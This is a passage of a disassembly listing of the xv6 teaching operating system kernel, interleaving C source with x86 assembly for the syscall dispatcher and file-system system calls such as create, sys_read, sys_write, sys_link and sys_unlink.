ff mov $0xffffffff,%eax } 80104645: c9 leave 80104646: c3 ret 80104647: 89 f6 mov %esi,%esi 80104649: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80104650 <syscall>: [SYS_shm_close] sys_shm_close }; void syscall(void) { 80104650: 55 push %ebp 80104651: 89 e5 mov %esp,%ebp 80104653: 56 push %esi 80104654: 53 push %ebx 80104655: 83 ec 10 sub $0x10,%esp int num; struct proc *curproc = myproc(); 80104658: e8 53 f0 ff ff call 801036b0 <myproc> num = curproc->tf->eax; 8010465d: 8b 70 18 mov 0x18(%eax),%esi struct proc *curproc = myproc(); 80104660: 89 c3 mov %eax,%ebx num = curproc->tf->eax; 80104662: 8b 46 1c mov 0x1c(%esi),%eax if(num > 0 && num < NELEM(syscalls) && syscalls[num]) { 80104665: 8d 50 ff lea -0x1(%eax),%edx 80104668: 83 fa 16 cmp $0x16,%edx 8010466b: 77 1b ja 80104688 <syscall+0x38> 8010466d: 8b 14 85 80 75 10 80 mov -0x7fef8a80(,%eax,4),%edx 80104674: 85 d2 test %edx,%edx 80104676: 74 10 je 80104688 <syscall+0x38> curproc->tf->eax = syscalls[num](); 80104678: ff d2 call *%edx 8010467a: 89 46 1c mov %eax,0x1c(%esi) } else { cprintf("%d %s: unknown sys call %d\n", curproc->pid, curproc->name, num); curproc->tf->eax = -1; } } 8010467d: 83 c4 10 add $0x10,%esp 80104680: 5b pop %ebx 80104681: 5e pop %esi 80104682: 5d pop %ebp 80104683: c3 ret 80104684: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi cprintf("%d %s: unknown sys call %d\n", 80104688: 89 44 24 0c mov %eax,0xc(%esp) curproc->pid, curproc->name, num); 8010468c: 8d 43 6c lea 0x6c(%ebx),%eax 8010468f: 89 44 24 08 mov %eax,0x8(%esp) cprintf("%d %s: unknown sys call %d\n", 80104693: 8b 43 10 mov 0x10(%ebx),%eax 80104696: c7 04 24 51 75 10 80 movl $0x80107551,(%esp) 8010469d: 89 44 24 04 mov %eax,0x4(%esp) 801046a1: e8 aa bf ff ff call 80100650 <cprintf> curproc->tf->eax = -1; 801046a6: 8b 43 18 mov 0x18(%ebx),%eax 801046a9: c7 40 1c ff ff ff ff movl $0xffffffff,0x1c(%eax) } 801046b0: 83 c4 10 add $0x10,%esp 801046b3: 5b pop %ebx 801046b4: 5e pop %esi 801046b5: 5d pop %ebp 801046b6: c3 ret 801046b7: 66 90 xchg %ax,%ax 801046b9: 66 90 xchg %ax,%ax 801046bb: 66 90 xchg %ax,%ax 801046bd: 66 90 xchg %ax,%ax 801046bf: 90 nop 801046c0 <fdalloc>: // Allocate a file descriptor for the given file. // Takes over file reference from caller on success. static int fdalloc(struct file *f) { 801046c0: 55 push %ebp 801046c1: 89 e5 mov %esp,%ebp 801046c3: 53 push %ebx 801046c4: 89 c3 mov %eax,%ebx 801046c6: 83 ec 04 sub $0x4,%esp int fd; struct proc *curproc = myproc(); 801046c9: e8 e2 ef ff ff call 801036b0 <myproc> for(fd = 0; fd < NOFILE; fd++){ 801046ce: 31 d2 xor %edx,%edx if(curproc->ofile[fd] == 0){ 801046d0: 8b 4c 90 28 mov 0x28(%eax,%edx,4),%ecx 801046d4: 85 c9 test %ecx,%ecx 801046d6: 74 18 je 801046f0 <fdalloc+0x30> for(fd = 0; fd < NOFILE; fd++){ 801046d8: 83 c2 01 add $0x1,%edx 801046db: 83 fa 10 cmp $0x10,%edx 801046de: 75 f0 jne 801046d0 <fdalloc+0x10> curproc->ofile[fd] = f; return fd; } } return -1; } 801046e0: 83 c4 04 add $0x4,%esp return -1; 801046e3: b8 ff ff ff ff mov $0xffffffff,%eax } 801046e8: 5b pop %ebx 801046e9: 5d pop %ebp 801046ea: c3 ret 801046eb: 90 nop 801046ec: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi curproc->ofile[fd] = f; 801046f0: 89 5c 90 28 mov %ebx,0x28(%eax,%edx,4) } 801046f4: 83 c4 04 add $0x4,%esp return fd; 801046f7: 89 d0 mov %edx,%eax } 801046f9: 5b pop %ebx 801046fa: 5d pop %ebp 801046fb: c3 ret 801046fc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80104700 <create>: return -1; } static struct inode* create(char *path, short type, short major, short minor) { 80104700: 55 push %ebp 80104701: 89 e5 mov %esp,%ebp 80104703: 57 push %edi 80104704: 56 push %esi 80104705: 53 push %ebx 80104706: 83 ec 4c sub $0x4c,%esp 80104709: 89 4d c0 mov %ecx,-0x40(%ebp) 8010470c: 8b 4d 08 mov 0x8(%ebp),%ecx uint off; struct inode *ip, *dp; char name[DIRSIZ]; if((dp = nameiparent(path, name)) == 0) 8010470f: 8d 5d da lea -0x26(%ebp),%ebx 80104712: 89 5c 24 04 mov %ebx,0x4(%esp) 80104716: 89 04 24 mov %eax,(%esp) { 80104719: 89 55 c4 mov %edx,-0x3c(%ebp) 8010471c: 89 4d bc mov %ecx,-0x44(%ebp) if((dp = nameiparent(path, name)) == 0) 8010471f: e8 0c d8 ff ff call 80101f30 <nameiparent> 80104724: 85 c0 test %eax,%eax 80104726: 89 c7 mov %eax,%edi 80104728: 0f 84 da 00 00 00 je 80104808 <create+0x108> return 0; ilock(dp); 8010472e: 89 04 24 mov %eax,(%esp) 80104731: e8 8a cf ff ff call 801016c0 <ilock> if((ip = dirlookup(dp, name, &off)) != 0){ 80104736: 8d 45 d4 lea -0x2c(%ebp),%eax 80104739: 89 44 24 08 mov %eax,0x8(%esp) 8010473d: 89 5c 24 04 mov %ebx,0x4(%esp) 80104741: 89 3c 24 mov %edi,(%esp) 80104744: e8 87 d4 ff ff call 80101bd0 <dirlookup> 80104749: 85 c0 test %eax,%eax 8010474b: 89 c6 mov %eax,%esi 8010474d: 74 41 je 80104790 <create+0x90> iunlockput(dp); 8010474f: 89 3c 24 mov %edi,(%esp) 80104752: e8 c9 d1 ff ff call 80101920 <iunlockput> ilock(ip); 80104757: 89 34 24 mov %esi,(%esp) 8010475a: e8 61 cf ff ff call 801016c0 <ilock> if(type == T_FILE && ip->type == T_FILE) 8010475f: 66 83 7d c4 02 cmpw $0x2,-0x3c(%ebp) 80104764: 75 12 jne 80104778 <create+0x78> 80104766: 66 83 7e 50 02 cmpw $0x2,0x50(%esi) 8010476b: 89 f0 mov %esi,%eax 8010476d: 75 09 jne 80104778 <create+0x78> panic("create: dirlink"); iunlockput(dp); return ip; } 8010476f: 83 c4 4c add $0x4c,%esp 80104772: 5b pop %ebx 80104773: 5e pop %esi 80104774: 5f pop %edi 80104775: 5d pop %ebp 80104776: c3 ret 80104777: 90 nop iunlockput(ip); 80104778: 89 34 24 mov %esi,(%esp) 8010477b: e8 a0 d1 ff ff call 80101920 <iunlockput> } 80104780: 83 c4 4c add $0x4c,%esp return 0; 80104783: 31 c0 xor %eax,%eax } 80104785: 5b pop %ebx 80104786: 5e pop %esi 80104787: 5f pop %edi 80104788: 5d pop %ebp 80104789: c3 ret 8010478a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi if((ip = ialloc(dp->dev, type)) == 0) 80104790: 0f bf 45 c4 movswl -0x3c(%ebp),%eax 80104794: 89 44 24 04 mov %eax,0x4(%esp) 80104798: 8b 07 mov (%edi),%eax 8010479a: 89 04 24 mov %eax,(%esp) 8010479d: e8 8e cd ff ff call 80101530 <ialloc> 801047a2: 85 c0 test %eax,%eax 801047a4: 89 c6 mov %eax,%esi 801047a6: 0f 84 bf 00 00 00 je 8010486b <create+0x16b> ilock(ip); 801047ac: 89 04 24 mov %eax,(%esp) 801047af: e8 0c cf ff ff call 801016c0 <ilock> ip->major = major; 801047b4: 0f b7 45 c0 movzwl -0x40(%ebp),%eax 801047b8: 66 89 46 52 mov %ax,0x52(%esi) ip->minor = minor; 801047bc: 0f b7 45 bc movzwl -0x44(%ebp),%eax 801047c0: 66 89 46 54 mov %ax,0x54(%esi) ip->nlink = 1; 801047c4: b8 01 00 00 00 mov $0x1,%eax 801047c9: 66 89 46 56 mov %ax,0x56(%esi) iupdate(ip); 801047cd: 89 34 24 mov %esi,(%esp) 801047d0: e8 2b ce ff ff call 80101600 <iupdate> if(type == T_DIR){ // Create . and .. entries. 801047d5: 66 83 7d c4 01 cmpw $0x1,-0x3c(%ebp) 801047da: 74 34 je 80104810 <create+0x110> if(dirlink(dp, name, ip->inum) < 0) 801047dc: 8b 46 04 mov 0x4(%esi),%eax 801047df: 89 5c 24 04 mov %ebx,0x4(%esp) 801047e3: 89 3c 24 mov %edi,(%esp) 801047e6: 89 44 24 08 mov %eax,0x8(%esp) 801047ea: e8 41 d6 ff ff call 80101e30 <dirlink> 801047ef: 85 c0 test %eax,%eax 801047f1: 78 6c js 8010485f <create+0x15f> iunlockput(dp); 801047f3: 89 3c 24 mov %edi,(%esp) 801047f6: e8 25 d1 ff ff call 80101920 <iunlockput> } 801047fb: 83 c4 4c add $0x4c,%esp return ip; 801047fe: 89 f0 mov %esi,%eax } 80104800: 5b pop %ebx 80104801: 5e pop %esi 80104802: 5f pop %edi 80104803: 5d pop %ebp 80104804: c3 ret 80104805: 8d 76 00 lea 0x0(%esi),%esi return 0; 80104808: 31 c0 xor %eax,%eax 8010480a: e9 60 ff ff ff jmp 8010476f <create+0x6f> 8010480f: 90 nop dp->nlink++; // for ".." 80104810: 66 83 47 56 01 addw $0x1,0x56(%edi) iupdate(dp); 80104815: 89 3c 24 mov %edi,(%esp) 80104818: e8 e3 cd ff ff call 80101600 <iupdate> if(dirlink(ip, ".", ip->inum) < 0 || dirlink(ip, "..", dp->inum) < 0) 8010481d: 8b 46 04 mov 0x4(%esi),%eax 80104820: c7 44 24 04 fc 75 10 movl $0x801075fc,0x4(%esp) 80104827: 80 80104828: 89 34 24 mov %esi,(%esp) 8010482b: 89 44 24 08 mov %eax,0x8(%esp) 8010482f: e8 fc d5 ff ff call 80101e30 <dirlink> 80104834: 85 c0 test %eax,%eax 80104836: 78 1b js 80104853 <create+0x153> 80104838: 8b 47 04 mov 0x4(%edi),%eax 8010483b: c7 44 24 04 fb 75 10 movl $0x801075fb,0x4(%esp) 80104842: 80 80104843: 89 34 24 mov %esi,(%esp) 80104846: 89 44 24 08 mov %eax,0x8(%esp) 8010484a: e8 e1 d5 ff ff call 80101e30 <dirlink> 8010484f: 85 c0 test %eax,%eax 80104851: 79 89 jns 801047dc <create+0xdc> panic("create dots"); 80104853: c7 04 24 ef 75 10 80 movl $0x801075ef,(%esp) 8010485a: e8 01 bb ff ff call 80100360 <panic> panic("create: dirlink"); 8010485f: c7 04 24 fe 75 10 80 movl $0x801075fe,(%esp) 80104866: e8 f5 ba ff ff call 80100360 <panic> panic("create: ialloc"); 8010486b: c7 04 24 e0 75 10 80 movl $0x801075e0,(%esp) 80104872: e8 e9 ba ff ff call 80100360 <panic> 80104877: 89 f6 mov %esi,%esi 80104879: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80104880 <argfd.constprop.0>: argfd(int n, int *pfd, struct file **pf) 80104880: 55 push %ebp 80104881: 89 e5 mov %esp,%ebp 80104883: 56 push %esi 80104884: 89 c6 mov %eax,%esi 80104886: 53 push %ebx 80104887: 89 d3 mov %edx,%ebx 80104889: 83 ec 20 sub $0x20,%esp if(argint(n, &fd) < 0) 8010488c: 8d 45 f4 lea -0xc(%ebp),%eax 8010488f: 89 44 24 04 mov %eax,0x4(%esp) 80104893: c7 04 24 00 00 00 00 movl $0x0,(%esp) 8010489a: e8 e1 fc ff ff call 80104580 <argint> 8010489f: 85 c0 test %eax,%eax 801048a1: 78 2d js 801048d0 <argfd.constprop.0+0x50> if(fd < 0 || fd >= NOFILE || (f=myproc()->ofile[fd]) == 0) 801048a3: 83 7d f4 0f cmpl $0xf,-0xc(%ebp) 801048a7: 77 27 ja 801048d0 <argfd.constprop.0+0x50> 801048a9: e8 02 ee ff ff call 801036b0 <myproc> 801048ae: 8b 55 f4 mov -0xc(%ebp),%edx 801048b1: 8b 44 90 28 mov 0x28(%eax,%edx,4),%eax 801048b5: 85 c0 test %eax,%eax 801048b7: 74 17 je 801048d0 <argfd.constprop.0+0x50> if(pfd) 801048b9: 85 f6 test %esi,%esi 801048bb: 74 02 je 801048bf <argfd.constprop.0+0x3f> *pfd = fd; 801048bd: 89 16 mov %edx,(%esi) if(pf) 801048bf: 85 db test %ebx,%ebx 801048c1: 74 1d je 801048e0 <argfd.constprop.0+0x60> *pf = f; 801048c3: 89 03 mov %eax,(%ebx) return 0; 801048c5: 31 c0 xor %eax,%eax } 801048c7: 83 c4 20 add $0x20,%esp 801048ca: 5b pop %ebx 801048cb: 5e pop %esi 801048cc: 5d pop %ebp 801048cd: c3 ret 801048ce: 66 90 xchg %ax,%ax 801048d0: 83 c4 20 add $0x20,%esp return -1; 801048d3: b8 ff ff ff ff mov $0xffffffff,%eax } 801048d8: 5b pop %ebx 801048d9: 5e pop %esi 801048da: 5d pop %ebp 801048db: c3 ret 801048dc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi return 0; 801048e0: 31 c0 xor %eax,%eax 801048e2: eb e3 jmp 801048c7 <argfd.constprop.0+0x47> 801048e4: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 801048ea: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 801048f0 <sys_dup>: { 801048f0: 55 push %ebp if(argfd(0, 0, &f) < 0) 801048f1: 31 c0 xor %eax,%eax { 801048f3: 89 e5 mov %esp,%ebp 801048f5: 53 push %ebx 801048f6: 83 ec 24 sub $0x24,%esp if(argfd(0, 0, &f) < 0) 801048f9: 8d 55 f4 lea -0xc(%ebp),%edx 801048fc: e8 7f ff ff ff call 80104880 <argfd.constprop.0> 80104901: 85 c0 test %eax,%eax 80104903: 78 23 js 80104928 <sys_dup+0x38> if((fd=fdalloc(f)) < 0) 80104905: 8b 45 f4 mov -0xc(%ebp),%eax 80104908: e8 b3 fd ff ff call 801046c0 <fdalloc> 8010490d: 85 c0 test %eax,%eax 8010490f: 89 c3 mov %eax,%ebx 80104911: 78 15 js 80104928 <sys_dup+0x38> filedup(f); 80104913: 8b 45 f4 mov -0xc(%ebp),%eax 80104916: 89 04 24 mov %eax,(%esp) 80104919: e8 c2 c4 ff ff call 80100de0 <filedup> return fd; 8010491e: 89 d8 mov %ebx,%eax } 80104920: 83 c4 24 add $0x24,%esp 80104923: 5b pop %ebx 80104924: 5d pop %ebp 80104925: c3 ret 80104926: 66 90 xchg %ax,%ax return -1; 80104928: b8 ff ff ff ff mov $0xffffffff,%eax 8010492d: eb f1 jmp 80104920 <sys_dup+0x30> 8010492f: 90 nop 80104930 <sys_read>: { 80104930: 55 push %ebp if(argfd(0, 0, &f) < 0 || argint(2, &n) < 0 || argptr(1, &p, n) < 0) 80104931: 31 c0 xor %eax,%eax { 80104933: 89 e5 mov %esp,%ebp 80104935: 83 ec 28 sub $0x28,%esp if(argfd(0, 0, &f) < 0 || argint(2, &n) < 0 || argptr(1, &p, n) < 0) 80104938: 8d 55 ec lea -0x14(%ebp),%edx 8010493b: e8 40 ff ff ff call 80104880 <argfd.constprop.0> 80104940: 85 c0 test %eax,%eax 80104942: 78 54 js 80104998 <sys_read+0x68> 80104944: 8d 45 f0 lea -0x10(%ebp),%eax 80104947: 89 44 24 04 mov %eax,0x4(%esp) 8010494b: c7 04 24 02 00 00 00 movl $0x2,(%esp) 80104952: e8 29 fc ff ff call 80104580 <argint> 80104957: 85 c0 test %eax,%eax 80104959: 78 3d js 80104998 <sys_read+0x68> 8010495b: 8b 45 f0 mov -0x10(%ebp),%eax 8010495e: c7 04 24 01 00 00 00 movl $0x1,(%esp) 80104965: 89 44 24 08 mov %eax,0x8(%esp) 80104969: 8d 45 f4 lea -0xc(%ebp),%eax 8010496c: 89 44 24 04 mov %eax,0x4(%esp) 80104970: e8 3b fc ff ff call 801045b0 <argptr> 80104975: 85 c0 test %eax,%eax 80104977: 78 1f js 80104998 <sys_read+0x68> return fileread(f, p, n); 80104979: 8b 45 f0 mov -0x10(%ebp),%eax 8010497c: 89 44 24 08 mov %eax,0x8(%esp) 80104980: 8b 45 f4 mov -0xc(%ebp),%eax 80104983: 89 44 24 04 mov %eax,0x4(%esp) 80104987: 8b 45 ec mov -0x14(%ebp),%eax 8010498a: 89 04 24 mov %eax,(%esp) 8010498d: e8 ae c5 ff ff call 80100f40 <fileread> } 80104992: c9 leave 80104993: c3 ret 80104994: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi return -1; 80104998: b8 ff ff ff ff mov $0xffffffff,%eax } 8010499d: c9 leave 8010499e: c3 ret 8010499f: 90 nop 801049a0 <sys_write>: { 801049a0: 55 push %ebp if(argfd(0, 0, &f) < 0 || argint(2, &n) < 0 || argptr(1, &p, n) < 0) 801049a1: 31 c0 xor %eax,%eax { 801049a3: 89 e5 mov %esp,%ebp 801049a5: 83 ec 28 sub $0x28,%esp if(argfd(0, 0, &f) < 0 || argint(2, &n) < 0 || argptr(1, &p, n) < 0) 801049a8: 8d 55 ec lea -0x14(%ebp),%edx 801049ab: e8 d0 fe ff ff call 80104880 <argfd.constprop.0> 801049b0: 85 c0 test %eax,%eax 801049b2: 78 54 js 80104a08 <sys_write+0x68> 801049b4: 8d 45 f0 lea -0x10(%ebp),%eax 801049b7: 89 44 24 04 mov %eax,0x4(%esp) 801049bb: c7 04 24 02 00 00 00 movl $0x2,(%esp) 801049c2: e8 b9 fb ff ff call 80104580 <argint> 801049c7: 85 c0 test %eax,%eax 801049c9: 78 3d js 80104a08 <sys_write+0x68> 801049cb: 8b 45 f0 mov -0x10(%ebp),%eax 801049ce: c7 04 24 01 00 00 00 movl $0x1,(%esp) 801049d5: 89 44 24 08 mov %eax,0x8(%esp) 801049d9: 8d 45 f4 lea -0xc(%ebp),%eax 801049dc: 89 44 24 04 mov %eax,0x4(%esp) 801049e0: e8 cb fb ff ff call 801045b0 <argptr> 801049e5: 85 c0 test %eax,%eax 801049e7: 78 1f js 80104a08 <sys_write+0x68> return filewrite(f, p, n); 801049e9: 8b 45 f0 mov -0x10(%ebp),%eax 801049ec: 89 44 24 08 mov %eax,0x8(%esp) 801049f0: 8b 45 f4 mov -0xc(%ebp),%eax 801049f3: 89 44 24 04 mov %eax,0x4(%esp) 801049f7: 8b 45 ec mov -0x14(%ebp),%eax 801049fa: 89 04 24 mov %eax,(%esp) 801049fd: e8 de c5 ff ff call 80100fe0 <filewrite> } 80104a02: c9 leave 80104a03: c3 ret 80104a04: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi return -1; 80104a08: b8 ff ff ff ff mov $0xffffffff,%eax } 80104a0d: c9 leave 80104a0e: c3 ret 80104a0f: 90 nop 80104a10 <sys_close>: { 80104a10: 55 push %ebp 80104a11: 89 e5 mov %esp,%ebp 80104a13: 83 ec 28 sub $0x28,%esp if(argfd(0, &fd, &f) < 0) 80104a16: 8d 55 f4 lea -0xc(%ebp),%edx 80104a19: 8d 45 f0 lea -0x10(%ebp),%eax 80104a1c: e8 5f fe ff ff call 80104880 <argfd.constprop.0> 80104a21: 85 c0 test %eax,%eax 80104a23: 78 23 js 80104a48 <sys_close+0x38> myproc()->ofile[fd] = 0; 80104a25: e8 86 ec ff ff call 801036b0 <myproc> 80104a2a: 8b 55 f0 mov -0x10(%ebp),%edx 80104a2d: c7 44 90 28 00 00 00 movl $0x0,0x28(%eax,%edx,4) 80104a34: 00 fileclose(f); 80104a35: 8b 45 f4 mov -0xc(%ebp),%eax 80104a38: 89 04 24 mov %eax,(%esp) 80104a3b: e8 f0 c3 ff ff call 80100e30 <fileclose> return 0; 80104a40: 31 c0 xor %eax,%eax } 80104a42: c9 leave 80104a43: c3 ret 80104a44: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi return -1; 80104a48: b8 ff ff ff ff mov $0xffffffff,%eax } 80104a4d: c9 leave 80104a4e: c3 ret 80104a4f: 90 nop 80104a50 <sys_fstat>: { 80104a50: 55 push %ebp if(argfd(0, 0, &f) < 0 || argptr(1, (void*)&st, sizeof(*st)) < 0) 80104a51: 31 c0 xor %eax,%eax { 80104a53: 89 e5 mov %esp,%ebp 80104a55: 83 ec 28 sub $0x28,%esp if(argfd(0, 0, &f) < 0 || argptr(1, (void*)&st, sizeof(*st)) < 0) 80104a58: 8d 55 f0 lea -0x10(%ebp),%edx 80104a5b: e8 20 fe ff ff call 80104880 <argfd.constprop.0> 80104a60: 85 c0 test %eax,%eax 80104a62: 78 34 js 80104a98 <sys_fstat+0x48> 80104a64: 8d 45 f4 lea -0xc(%ebp),%eax 80104a67: c7 44 24 08 14 00 00 movl $0x14,0x8(%esp) 80104a6e: 00 80104a6f: 89 44 24 04 mov %eax,0x4(%esp) 80104a73: c7 04 24 01 00 00 00 movl $0x1,(%esp) 80104a7a: e8 31 fb ff ff call 801045b0 <argptr> 80104a7f: 85 c0 test %eax,%eax 80104a81: 78 15 js 80104a98 <sys_fstat+0x48> return filestat(f, st); 80104a83: 8b 45 f4 mov -0xc(%ebp),%eax 80104a86: 89 44 24 04 mov %eax,0x4(%esp) 80104a8a: 8b 45 f0 mov -0x10(%ebp),%eax 80104a8d: 89 04 24 mov %eax,(%esp) 80104a90: e8 5b c4 ff ff call 80100ef0 <filestat> } 80104a95: c9 leave 80104a96: c3 ret 80104a97: 90 nop return -1; 80104a98: b8 ff ff ff ff mov $0xffffffff,%eax } 80104a9d: c9 leave 80104a9e: c3 ret 80104a9f: 90 nop 80104aa0 <sys_link>: { 80104aa0: 55 push %ebp 80104aa1: 89 e5 mov %esp,%ebp 80104aa3: 57 push %edi 80104aa4: 56 push %esi 80104aa5: 53 push %ebx 80104aa6: 83 ec 3c sub $0x3c,%esp if(argstr(0, &old) < 0 || argstr(1, &new) < 0) 80104aa9: 8d 45 d4 lea -0x2c(%ebp),%eax 80104aac: 89 44 24 04 mov %eax,0x4(%esp) 80104ab0: c7 04 24 00 00 00 00 movl $0x0,(%esp) 80104ab7: e8 54 fb ff ff call 80104610 <argstr> 80104abc: 85 c0 test %eax,%eax 80104abe: 0f 88 e6 00 00 00 js 80104baa <sys_link+0x10a> 80104ac4: 8d 45 d0 lea -0x30(%ebp),%eax 80104ac7: 89 44 24 04 mov %eax,0x4(%esp) 80104acb: c7 04 24 01 00 00 00 movl $0x1,(%esp) 80104ad2: e8 39 fb ff ff call 80104610 <argstr> 80104ad7: 85 c0 test %eax,%eax 80104ad9: 0f 88 cb 00 00 00 js 80104baa <sys_link+0x10a> begin_op(); 80104adf: e8 3c e0 ff ff call 80102b20 <begin_op> if((ip = namei(old)) == 0){ 80104ae4: 8b 45 d4 mov -0x2c(%ebp),%eax 80104ae7: 89 04 24 mov %eax,(%esp) 80104aea: e8 21 d4 ff ff call 80101f10 <namei> 80104aef: 85 c0 test %eax,%eax 80104af1: 89 c3 mov %eax,%ebx 80104af3: 0f 84 ac 00 00 00 je 80104ba5 <sys_link+0x105> ilock(ip); 80104af9: 89 04 24 mov %eax,(%esp) 80104afc: e8 bf cb ff ff call 801016c0 <ilock> if(ip->type == T_DIR){ 80104b01: 66 83 7b 50 01 cmpw $0x1,0x50(%ebx) 80104b06: 0f 84 91 00 00 00 je 80104b9d <sys_link+0xfd> ip->nlink++; 80104b0c: 66 83 43 56 01 addw $0x1,0x56(%ebx) if((dp = nameiparent(new, name)) == 0) 80104b11: 8d 7d da lea -0x26(%ebp),%edi iupdate(ip); 80104b14: 89 1c 24 mov %ebx,(%esp) 80104b17: e8 e4 ca ff ff call 80101600 <iupdate> iunlock(ip); 80104b1c: 89 1c 24 mov %ebx,(%esp) 80104b1f: e8 7c cc ff ff call 801017a0 <iunlock> if((dp = nameiparent(new, name)) == 0) 80104b24: 8b 45 d0 mov -0x30(%ebp),%eax 80104b27: 89 7c 24 04 mov %edi,0x4(%esp) 80104b2b: 89 04 24 mov %eax,(%esp) 80104b2e: e8 fd d3 ff ff call 80101f30 <nameiparent> 80104b33: 85 c0 test %eax,%eax 80104b35: 89 c6 mov %eax,%esi 80104b37: 74 4f je 80104b88 <sys_link+0xe8> ilock(dp); 80104b39: 89 04 24 mov %eax,(%esp) 80104b3c: e8 7f cb ff ff call 801016c0 <ilock> if(dp->dev != ip->dev || dirlink(dp, name, ip->inum) < 0){ 80104b41: 8b 03 mov (%ebx),%eax 80104b43: 39 06 cmp %eax,(%esi) 80104b45: 75 39 jne 80104b80 <sys_link+0xe0> 80104b47: 8b 43 04 mov 0x4(%ebx),%eax 80104b4a: 89 7c 24 04 mov %edi,0x4(%esp) 80104b4e: 89 34 24 mov %esi,(%esp) 80104b51: 89 44 24 08 mov %eax,0x8(%esp) 80104b55: e8 d6 d2 ff ff call 80101e30 <dirlink> 80104b5a: 85 c0 test %eax,%eax 80104b5c: 78 22 js 80104b80 <sys_link+0xe0> iunlockput(dp); 80104b5e: 89 34 24 mov %esi,(%esp) 80104b61: e8 ba cd ff ff call 80101920 <iunlockput> iput(ip); 80104b66: 89 1c 24 mov %ebx,(%esp) 80104b69: e8 72 cc ff ff call 801017e0 <iput> end_op(); 80104b6e: e8 1d e0 ff ff call 80102b90 <end_op> } 80104b73: 83 c4 3c add $0x3c,%esp return 0; 80104b76: 31 c0 xor %eax,%eax } 80104b78: 5b pop %ebx 80104b79: 5e pop %esi 80104b7a: 5f pop %edi 80104b7b: 5d pop %ebp 80104b7c: c3 ret 80104b7d: 8d 76 00 lea 0x0(%esi),%esi iunlockput(dp); 80104b80: 89 34 24 mov %esi,(%esp) 80104b83: e8 98 cd ff ff call 80101920 <iunlockput> ilock(ip); 80104b88: 89 1c 24 mov %ebx,(%esp) 80104b8b: e8 30 cb ff ff call 801016c0 <ilock> ip->nlink--; 80104b90: 66 83 6b 56 01 subw $0x1,0x56(%ebx) iupdate(ip); 80104b95: 89 1c 24 mov %ebx,(%esp) 80104b98: e8 63 ca ff ff call 80101600 <iupdate> iunlockput(ip); 80104b9d: 89 1c 24 mov %ebx,(%esp) 80104ba0: e8 7b cd ff ff call 80101920 <iunlockput> end_op(); 80104ba5: e8 e6 df ff ff call 80102b90 <end_op> } 80104baa: 83 c4 3c add $0x3c,%esp return -1; 80104bad: b8 ff ff ff ff mov $0xffffffff,%eax } 80104bb2: 5b pop %ebx 80104bb3: 5e pop %esi 80104bb4: 5f pop %edi 80104bb5: 5d pop %ebp 80104bb6: c3 ret 80104bb7: 89 f6 mov %esi,%esi 80104bb9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80104bc0 <sys_unlink>: { 80104bc0: 55 push %ebp 80104bc1: 89 e5 mov %esp,%ebp 80104bc3: 57 push %edi 80104bc4: 56 push %esi 80104bc5: 53 push %ebx 80104bc6: 83 ec 5c sub $0x5c,%esp if(argstr(0, &path) < 0) 80104bc9: 8d 45 c0 lea -0x40(%ebp),%eax 80104bcc: 89 44 24 04 mov %eax,0x4(%esp) 80104bd0: c7 04 24 00 00 00 00 movl $0x0,(%esp) 80104bd7: e8 34 fa ff ff call 80104610 <argstr> 80104bdc: 85 c0 test %eax,%eax 80104bde: 0f 88 76 01 00 00 js 80104d5a <sys_unlink+0x19a> begin_op(); 80104be4: e8 37 df ff ff call 80102b20 <begin_op> if((dp = nameiparent(path, name)) == 0){ 80104be9: 8b 45 c0 mov -0x40(%ebp),%eax 80104bec: 8d 5d ca lea -0x36(%ebp),%ebx 80104bef: 89 5c 24 04 mov %ebx,0x4(%esp) 80104bf3: 89 04 24 mov %eax,(%esp) 80104bf6: e8 35 d3 ff ff call 80101f30 <nameiparent> 80104bfb: 85 c0 test %eax,%eax 80104bfd: 89 45 b4 mov %eax,-0x4c(%ebp) 80104c00: 0f 84 4f 01 00 00 je 80104d55 <sys_unlink+0x195> ilock(dp); 80104c06: 8b 75 b4 mov -0x4c(%ebp),%esi 80104c09: 89 34 24 mov %esi,(%esp) 80104c0c: e8 af ca ff ff call 801016c0 <ilock> if(namecmp(name, ".") == 0 || namecmp(name, "..") == 0) 80104c11: c7 44 24 04 fc 75 10 movl $0x801075fc,0x4(%esp) 80104c18: 80 80104c19: 89 1c 24 mov %ebx,(%esp) 80104c1c: e8 7f cf ff ff call 80101ba0 <namecmp> 80104c21: 85 c0 test %eax,%eax 80104c23: 0f 84 21 01 00 00 je 80104d4a <sys_unlink+0x18a> 80104c29: c7 44 24 04 fb 75 10 movl $0x801075fb,0x4(%esp) 80104c30: 80 80104c31: 89 1c 24 mov %ebx,(%esp) 80104c34: e8 67 cf ff ff call 80101ba0 <namecmp> 80104c39: 85 c0 test %eax,%eax 80104c3b: 0f 84 09 01 00 00 je 80104d4a <sys_unlink+0x18a> if((ip = dirlookup(dp, name, &off)) == 0) 80104c41: 8d 45 c4 lea -0x3c(%ebp),%eax 80104c44: 89 5c 24 04 mov %ebx,0x4(%esp) 80104c48: 89 44 24 08 mov %eax,0x8(%esp) 80104c4c: 89 34 24 mov %esi,(%esp) 80104c4f: e8 7c cf ff ff call 80101bd0 <dirlookup> 80104c54: 85 c0 test %eax,%eax 80104c56: 89 c3 mov %eax,%ebx 80104c58: 0f 84 ec 00 00 00 je 80104d4a <sys_unlink+0x18a> ilock(ip); 80104c5e: 89 04 24 mov %eax,(%esp) 80104c61: e8 5a ca ff ff call 801016c0 <ilock> if(ip->nlink < 1) 80104c66: 66 83 7b 56 00 cmpw $0x0,0x56(%ebx) 80104c6b: 0f 8e 24 01 00 00 jle 80104d95 <sys_unlink+0x1d5> if(ip->type == T_DIR && !isdirempty(ip)){ 80104c71: 66 83 7b 50 01 cmpw $0x1,0x50(%ebx) 80104c76: 8d 75 d8 lea -0x28(%ebp),%esi 80104c79: 74 7d je 80104cf8 <sys_unlink+0x138> memset(&de, 0, sizeof(de)); 80104c7b: c7 44 24 08 10 00 00 movl $0x10,0x8(%esp) 